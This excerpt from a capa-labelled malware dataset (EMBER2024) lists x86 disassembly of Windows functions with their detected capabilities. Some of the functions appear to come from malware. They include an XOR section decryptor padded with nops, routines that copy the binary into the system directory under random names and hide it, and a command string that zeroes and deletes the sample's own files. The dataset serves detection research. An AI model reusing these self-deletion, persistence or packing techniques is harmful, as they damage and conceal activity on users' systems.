joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46a7d8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, word [ebp + 8]
push esi
push edi
push dword [ebp + 0xc]
mov edi, ecx
push eax
push 0
call dword [0x4be3a0]
mov esi, eax
test esi, esi
jne 0x46a7fe
xor al, al
jmp 0x46a945
push ebx
push esi
push 0
call dword [0x4be3ac]
mov ebx, eax
mov dword [ebp + 8], ebx
test ebx, ebx
je 0x46a856
push esi
push 0
call dword [0x4be3a4]
push eax
call dword [0x4be3a8]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x46a856
push ebx
push 2
call dword [0x4be104]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
jne 0x46a83d
push eax
jmp 0x46a850
push esi
call dword [0x4be0fc]
test eax, eax
jne 0x46a85d
push esi
call dword [0x4be0f8]
push esi
call dword [0x4be100]
xor al, al
jmp 0x46a944
push ebx
push dword [ebp + 0xc]
push eax
call fcn.0048a600
add esp, 0xc
push esi
call dword [0x4be0f8]
and dword [ebp - 4], 0
lea esi, [edi + 0x15]
push esi
call fcn.0046a6f2
pop ecx
test eax, eax
je 0x46a8c3
mov eax, dword [esi]
push 0x4c6090
push eax
call fcn.0048ad5e
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x46a8c3
push ebx
push dword [ebp + 8]
push 1
push dword [ebp + 0xc]
call fcn.0048f4b2
add esp, 0x10
cmp eax, dword [ebp + 8]
jne 0x46a8c3
push ebx
call fcn.0048f1d6
push ebx
call fcn.0048ac1c
pop ecx
pop ecx
mov dword [ebp - 4], 1
xor ebx, ebx
cmp dword [ebp - 4], ebx
je 0x46a8db
mov esi, dword [esi]
push ebx
push esi
call fcn.00428338
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
jne 0x46a911
and dword [ebp + 0xc], 0
lea ecx, [ebp + 0xc]
call fcn.0042846c
push eax
push 0
push dword [ebp - 8]
call dword [0x4be768]
test eax, eax
jne 0x46a904
push eax
push dword [ebp + 0xc]
call fcn.00428356
pop ecx
pop ecx
mov ebx, eax
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x46a911
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [ebp - 8]
call dword [0x4be100]
mov dword [edi + 0x11], ebx
test ebx, ebx
je 0x46a93d
mov ecx, ebx
mov dword [edi + 0xd], 1
call fcn.00430133
mov ecx, dword [edi + 0x11]
mov dword [edi + 5], eax
call fcn.00430157
mov dword [edi + 9], eax
mov ecx, edi
call fcn.0046a1d0
pop ebx
pop edi
pop esi
leave
ret 8

Function at 0x46c822
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push eax
push esi
push 0x46c80b
push eax
push eax
mov dword [ebp - 4], eax
call fcn.0048ea8c
add esp, 0x18
mov dword [esi + 0x1c], eax
pop esi
leave
ret

Function at 0x46cea2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push eax
push esi
push 0x46ce8b
push eax
push eax
mov dword [ebp - 4], eax
mov dword [esi + 0x4c], eax
call fcn.0048ea8c
mov dword [esi + 0x20], eax
add esp, 0x18
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x47531f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push eax
push esi
push 0x47530c
push eax
push eax
mov dword [esi], eax
mov dword [ebp - 4], eax
call fcn.0048ea8c
add esp, 0x18
mov dword [esi + 8], eax
pop esi
leave
ret

Function at 0x477209
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x478c23
Capabilities:
Encode data using xor

Disassembly:
shr dword [esp + 8], 2
xor edx, edx
cmp dword [esp + 8], edx
jle 0x478c60
push esi
push edi
mov eax, dword [esp + 0xc]
lea ecx, [eax + edx*4]
mov eax, dword [ecx]
rol eax, 0x10
mov esi, eax
shr esi, 8
mov edi, eax
shl edi, 8
xor esi, edi
and esi, 0xff00ff
shl eax, 8
xor esi, eax
inc edx
cmp edx, dword [esp + 0x10]
mov dword [ecx], esi
jl 0x478c32
pop edi
pop esi
ret

Function at 0x4825d0
Capabilities:
Get storage device properties

Disassembly:
mov eax, 0x2c14
call fcn.00484d50
mov eax, dword [0x4e97d0]
xor eax, esp
mov dword [esp + 0x2c10], eax
mov eax, dword [esp + 0x2c18]
push edi
xor edi, edi
mov dword [esp + 0xc], eax
cmp eax, edi
je 0x48273b
cmp dword [esp + 0x2c20], edi
je 0x48273b
push ebx
push ebp
mov ebp, dword [0x4be1c0]
push esi
mov dword [esp + 0x10], edi
xor ebx, ebx
lea ebx, [ebx]
push ebx
push 0x4cd418
lea eax, [esp + 0x30]
push 0x100
push eax
call fcn.00412750
add esp, 0x10
push edi
push edi
push 3
push edi
push 3
push edi
lea ecx, [esp + 0x40]
push ecx
call ebp
mov esi, eax
cmp esi, 0xffffffff
je 0x482714
xor eax, eax
push 0x2710
lea edx, [esp + 0x514]
push edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
push edx
mov dword [esp + 0x20], edi
mov dword [esp + 0x30], eax
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
call fcn.00484550
add esp, 0xc
push edi
lea eax, [esp + 0x18]
push eax
push 0x2710
lea ecx, [esp + 0x51c]
push ecx
push 0xc
lea edx, [esp + 0x30]
push edx
push 0x2d1400
push esi
call dword [0x4be340]
test eax, eax
je 0x482707
push 0x3e8
lea eax, [esp + 0x12c]
push edi
push eax
call fcn.00484550
mov edx, dword [esp + 0x534]
lea ecx, [esp + 0x134]
push ecx
push 1
push edx
lea eax, [esp + 0x528]
push eax
call fcn.00484340
mov edx, dword [esp + 0x2c48]
mov eax, dword [esp + 0x34]
add esp, 0x1c
lea ecx, [esp + 0x128]
push ecx
push edx
push eax
call fcn.00412840
test eax, eax
jne 0x482707
mov dword [esp + 0x10], 1
push esi
call dword [0x4be344]
cmp dword [esp + 0x10], edi
jne 0x48271e
inc ebx
cmp ebx, 0x10
jl 0x482620
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
mov ecx, dword [esp + 0x2c10]
xor ecx, esp
call fcn.00484647
add esp, 0x2c14
ret
mov ecx, dword [esp + 0x2c14]
pop edi
xor ecx, esp
xor eax, eax
call fcn.00484647
add esp, 0x2c14
ret
Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x153f2eb3
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x536a3643
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x40216a
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
or eax, 0xffffffff
cmp dword [esp + 0xc], esi
jbe 0x4021a6
push edi
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esi + ecx]
movzx edx, al
push 8
xor ecx, edx
shr eax, 8
pop edi
mov dl, cl
shr ecx, 1
and dl, 1
je 0x402199
xor ecx, 0xedb88320
dec edi
jne 0x40218a
xor eax, ecx
inc esi
cmp esi, dword [esp + 0x10]
jb 0x402177
pop edi
not eax
pop esi
ret

Function at 0x402459
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebx
push esi
xor bl, bl
xor esi, esi
cmp dword [0x40a324], 0xffffffff
jne 0x402490
push esi
push esi
push str.bcrypt.dll
mov dword [0x40a324], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
cmp eax, esi
je 0x402490
push str.BCryptGenRandom
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40a324], eax
mov eax, dword [0x40a324]
cmp eax, esi
je 0x4024b0
push 2
push dword [esp + 0x14]
push dword [esp + 0x14]
push esi
call eax
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
jne 0x4024f4
cmp dword [0x40a320], 0xffffffff
jne 0x4024d7
push 0xf0000040
push 1
push esi
push esi
push 0x40a320
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x4024d7
mov dword [0x40a320], esi
mov eax, dword [0x40a320]
cmp eax, esi
je 0x4024f4
push dword [esp + 0xc]
push dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
setne bl
pop esi
mov al, bl
pop ebx
ret

Function at 0x402523
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
xor esi, esi
xor edi, edi
mov dword [ebp - 4], eax
cmp dword [ebp + 8], esi
jbe 0x40258e
mov eax, dword [ebp + 8]
push esi
sub eax, edi
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, esi
jg 0x402584
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x40258e
push esi
push esi
push esi
lea eax, [ebp - 0x108]
push eax
push esi
mov dword [ebp - 0x108], 1
mov dword [ebp - 0x104], ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jne 0x40258e
jmp 0x402589
add edi, eax
add dword [ebp - 4], eax
cmp edi, dword [ebp + 8]
jb 0x40253a
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x402594
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push 2
mov ebx, eax
push 1
lea eax, [ebp - 5]
push eax
push ebx
xor esi, esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x402612
push 0x18
lea eax, [ebp - 0x20]
call fcn.00402523
pop ecx
cmp eax, 0x18
jne 0x402612
push dword [ebp - 0x20]
call fcn.00402384
mov esi, eax
pop ecx
test esi, esi
je 0x402612
push dword [ebp - 0x20]
call fcn.00402523
pop ecx
cmp eax, dword [ebp - 0x20]
jne 0x402609
push dword [ebp - 0x20]
lea eax, [ebp - 0x18]
push esi
push eax
mov eax, esi
call fcn.0040271c
mov edi, dword [ebp - 0x20]
push edi
push esi
call fcn.0040216a
add esp, 0x14
cmp dword [ebp - 0x1c], eax
jne 0x402609
mov eax, dword [ebp + 8]
mov dword [eax], edi
jmp 0x402612
push esi
call fcn.0040241e
pop ecx
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x402ee8
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x180
push ebx
xor ebx, ebx
cmp byte [0x40a3e8], bl
jne 0x403048
lea eax, [ebp - 0x180]
push eax
push ebx
push ebx
push 0x24
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x403048
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push edi
lea eax, [ebp - 0x180]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
jmp 0x402f5a
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
test eax, eax
je 0x402f6d
lea eax, [ebp - 0x180]
push eax
call esi
push 0x64
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x180]
push eax
call edi
test eax, eax
je 0x402f33
cmp byte [ebp - 0x72], 0x7b
jne 0x402f76
mov byte [ebp - 0x4c], bl
lea eax, [ebp - 0x72]
push eax
push dword [0x42ae68]
lea eax, [ebp - 4]
push 0x4073e8
push eax
call fcn.00402b9b
add esp, 0x10
test eax, eax
je 0x403046
lea eax, [ebp - 0x18]
push eax
push 0x20119
push ebx
push str.SOFTWAREMicrosoftCryptography
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402fc5
lea ebx, [ebp - 0x18]
call fcn.004027a5
mov esi, eax
xor ebx, ebx
jmp 0x402fc7
xor esi, esi
cmp esi, ebx
je 0x402fe3
push esi
push 0x407448
push ebx
lea ecx, [ebp - 4]
call fcn.00402bec
push esi
call fcn.0040241e
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call fcn.00402e5a
pop ecx
pop ecx
test al, al
je 0x40303d
movzx eax, byte [ebp - 5]
push eax
movzx eax, byte [ebp - 6]
push eax
movzx eax, byte [ebp - 7]
push eax
movzx eax, byte [ebp - 8]
push eax
movzx eax, byte [ebp - 9]
push eax
movzx eax, byte [ebp - 0xa]
push eax
movzx eax, byte [ebp - 0xb]
push eax
movzx eax, byte [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str._08X__04X__04X__02X_02X__02X_02X_02X_02X_02X_02X
push 0x40a3e8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x34
push dword [ebp - 4]
call fcn.0040241e
pop ecx
pop edi
pop esi
mov eax, 0x40a3e8
pop ebx
leave
ret
Function at 0x403380
Capabilities:
Create process on windows
Get common file path
Move file
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push ebx
push esi
call fcn.004067bb
xor ebx, ebx
mov byte [ebp - 0xc], al
cmp byte [ebp + 8], bl
je 0x4033f0
cmp al, bl
je 0x4033ca
lea eax, [ebp - 0x254]
push eax
push ecx
push 1
call fcn.00403ad5
pop ecx
pop ecx
push eax
call fcn.00405875
pop ecx
pop ecx
test al, al
je 0x4033f0
lea eax, [ebp - 0x254]
push eax
call fcn.004057e2
pop ecx
jmp 0x4033f0
cmp word [0x42b0a0], bx
jne 0x4033e6
push 0x42b0a0
push ebx
push ebx
push 0x8007
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
call fcn.00404ced
call fcn.00404a76
push 6
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
mov esi, 0x41ae68
push esi
push 0x3005
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov dword [ebp - 8], ebx
cmp byte [ebp + 8], bl
je 0x403431
push dword [ebp - 0xc]
call fcn.00403ad5
pop ecx
push eax
push esi
push str._d__c_ping__n_2_127.0.0.1___NUL__fsutil_file_setzerodata_offset0_length524288___s___rmdir___s___s__q___NUL__exit
jmp 0x403438
push esi
push esi
push str._d__c_ping__n_2_127.0.0.1___NUL__fsutil_file_setzerodata_offset0_length524288___s___del___s____NUL__exit
lea eax, [ebp - 8]
push eax
call fcn.00402b4e
mov esi, dword [ebp - 8]
add esp, 0x10
cmp esi, ebx
je 0x40348d
push 0x38
lea eax, [ebp - 0x44]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x48], 0x3c
mov dword [ebp - 0x44], 0xc600
mov dword [ebp - 0x3c], str.open
mov dword [ebp - 0x38], str._COMSPEC_
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push esi
call fcn.0040241e
pop ecx
call fcn.00403b8f
int3

Function at 0x403493
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0x407910
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x40a450
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x208]
push esi
push eax
call fcn.0040637d
pop ecx
pop ecx
pop esi
leave
ret
Function at 0x4035a1
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push dword [ebp + 8]
mov byte [ebp - 1], 0
call fcn.00402e18
pop ecx
test al, al
je 0x4035c1
mov byte [ebp - 1], 1
jmp 0x4035ff
cmp byte [ebp + 8], 0
push esi
mov esi, 0x40a450
jne 0x403615
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4035fe
push 0
push 0
lea eax, [ebp - 1]
push eax
push 0x4034e4
push 4
push 1
lea eax, [ebp - 8]
push eax
push esi
mov dword [ebp - 8], str..exe
call fcn.00405f91
add esp, 0x20
pop esi
mov al, byte [ebp - 1]
leave
ret
lea eax, [ebp - 0x210]
push eax
call fcn.0040554e
pop ecx
test al, al
jne 0x40362a
lea eax, [ebp - 0x210]
push eax
push esi
call fcn.00405875
pop ecx
pop ecx
test al, al
jne 0x403604
jmp 0x4035fe
mov byte [ebp - 1], 1
jmp 0x4035fe

Function at 0x403630
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x403790
add eax, eax
lea ecx, [ebp + eax - 0x216]
lea ebx, [ebp + eax - 0x21c]
mov dword [ebp - 0x10], ecx
lea esi, [ebp + eax - 0x21a]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov word [ebx], ax
push str.__.exe
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
pop eax
call fcn.004024f9
add eax, 0x61
mov word [esi], ax
push 0x19
pop eax
call fcn.004024f9
mov ecx, dword [ebp - 0x10]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403670
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor edi, edi
push dword [edi + 0x40a338]
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403670
add edi, 4
cmp edi, 0xa8
jb 0x4036d0
lea eax, [ebp - 0x440]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
test eax, eax
je 0x403670
lea eax, [ebp - 0x21c]
push 6
push eax
call fcn.0040621c
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x403670
push str.install
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x40376b
push str.setup
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x40376b
push str.update
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
mov byte [ebp - 5], 0
test eax, eax
je 0x40376f
mov byte [ebp - 5], 1
push edi
call fcn.0040241e
cmp byte [ebp - 5], 0
pop ecx
jne 0x403670
lea eax, [ebp - 0x21c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403795
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ebx, eax
test ebx, ebx
je 0x403966
push dword [ebp + 8]
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0xc]
push 0x407950
push eax
mov byte [ebp - 5], 0
call fcn.00402b4e
add esp, 0x10
test eax, eax
je 0x403966
lea eax, [ebp - 0x474]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403804
push eax
mov byte [ebp - 5], 1
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 0xc]
call fcn.0040241e
cmp byte [ebp - 5], 0
pop ecx
je 0x403966
push 0
mov edi, 0xfffe
call fcn.0040231c
pop ecx
mov dword [ebp - 0xc], eax
test eax, eax
je 0x403966
and dword [ebp - 0x10], 0
push 5
pop eax
call fcn.004024f9
add eax, 2
mov dword [ebp - 0x1c], eax
cmp eax, 6
ja 0x403833
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x67c]
push str.___s
push eax
call esi
lea eax, [ebx + ebx]
lea ecx, [ebp + eax - 0x224]
mov dword [ebp - 0x18], ecx
lea ecx, [ebp + eax - 0x21e]
add esp, 0xc
mov dword [ebp - 0x14], ecx
lea edi, [ebp + eax - 0x222]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x18]
xor eax, eax
mov word [ecx], ax
lea eax, [ebp - 0x67c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
pop eax
call fcn.004024f9
add eax, 0x61
mov word [edi], ax
push 0x19
pop eax
call fcn.004024f9
mov ecx, dword [ebp - 0x14]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x474]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403951
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x448]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
push 0x19
pop eax
call fcn.004024f9
push dword [ebp + 8]
add eax, 0x61
movzx eax, ax
push eax
lea eax, [ebp + ebx*2 - 0x450]
push str._c_s
push eax
call esi
lea eax, [ebp - 0x448]
push eax
push 0x40a450
push str._s_s
push dword [ebp - 0xc]
call esi
add esp, 0x20
push 1
push dword [ebp - 0xc]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x403951
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1c]
jne 0x40387e
push dword [ebp - 0xc]
call fcn.0040241e
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40396b
Capabilities:
Copy file
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push esi
lea eax, [ebp - 0x264]
push edi
push eax
call fcn.00403630
pop ecx
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
push 0x40a450
lea eax, [ebp - 8]
push str._s_s
push eax
call fcn.00402b4e
add esp, 0x10
test eax, eax
je 0x403a6e
call fcn.00406832
mov edi, dword [ebp - 8]
push 0
push edi
push 0x41ae68
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x264]
push eax
call fcn.004065c0
pop ecx
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x20], str..dll
mov dword [ebp - 0x1c], str..xml
mov dword [ebp - 0x18], str..cpl
mov dword [ebp - 0x14], str..vbs
mov dword [ebp - 0x10], str..tlb
mov dword [ebp - 0xc], str..ocx
xor esi, esi
push dword [ebp + esi*4 - 0x20]
call fcn.00403795
inc esi
pop ecx
cmp esi, 6
jb 0x403a07
call fcn.00403493
cmp byte [ebp + 8], 0
push edi
je 0x403a2b
call fcn.00405697
pop ecx
jmp 0x403a67
call fcn.00404d60
pop ecx
push 0x38
lea eax, [ebp - 0x58]
push 0
push eax
call sub.MSVCRT.dll_memset
and dword [ebp - 0x40], 0
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], 0x3c
mov dword [ebp - 0x58], 0xc600
mov dword [ebp - 0x50], str.open
mov dword [ebp - 0x4c], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push edi
call fcn.0040241e
pop ecx
pop edi
pop esi
leave
ret

Function at 0x403ad5
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
xor ebx, ebx
push edi
mov esi, 0x40a450
cmp word [0x40a450], bx
jne 0x403b88
cmp byte [ebp + 8], bl
je 0x403b3a
cmp byte [0x40a44c], bl
je 0x403b11
movzx eax, word [0x41a458]
push eax
push str._c:ProgramDataMicrosoft_
jmp 0x403b2e
push ebx
push 0x26
lea eax, [ebp - 0x21c]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x21c]
push eax
push str._sWindows_NT_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x403b52
push esi
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402ee8
push eax
call fcn.00402cab
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str.v2.0_2.0.0.0___x_x_x
push ebx
push esi
call fcn.00402c3c
add esp, 0x20
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret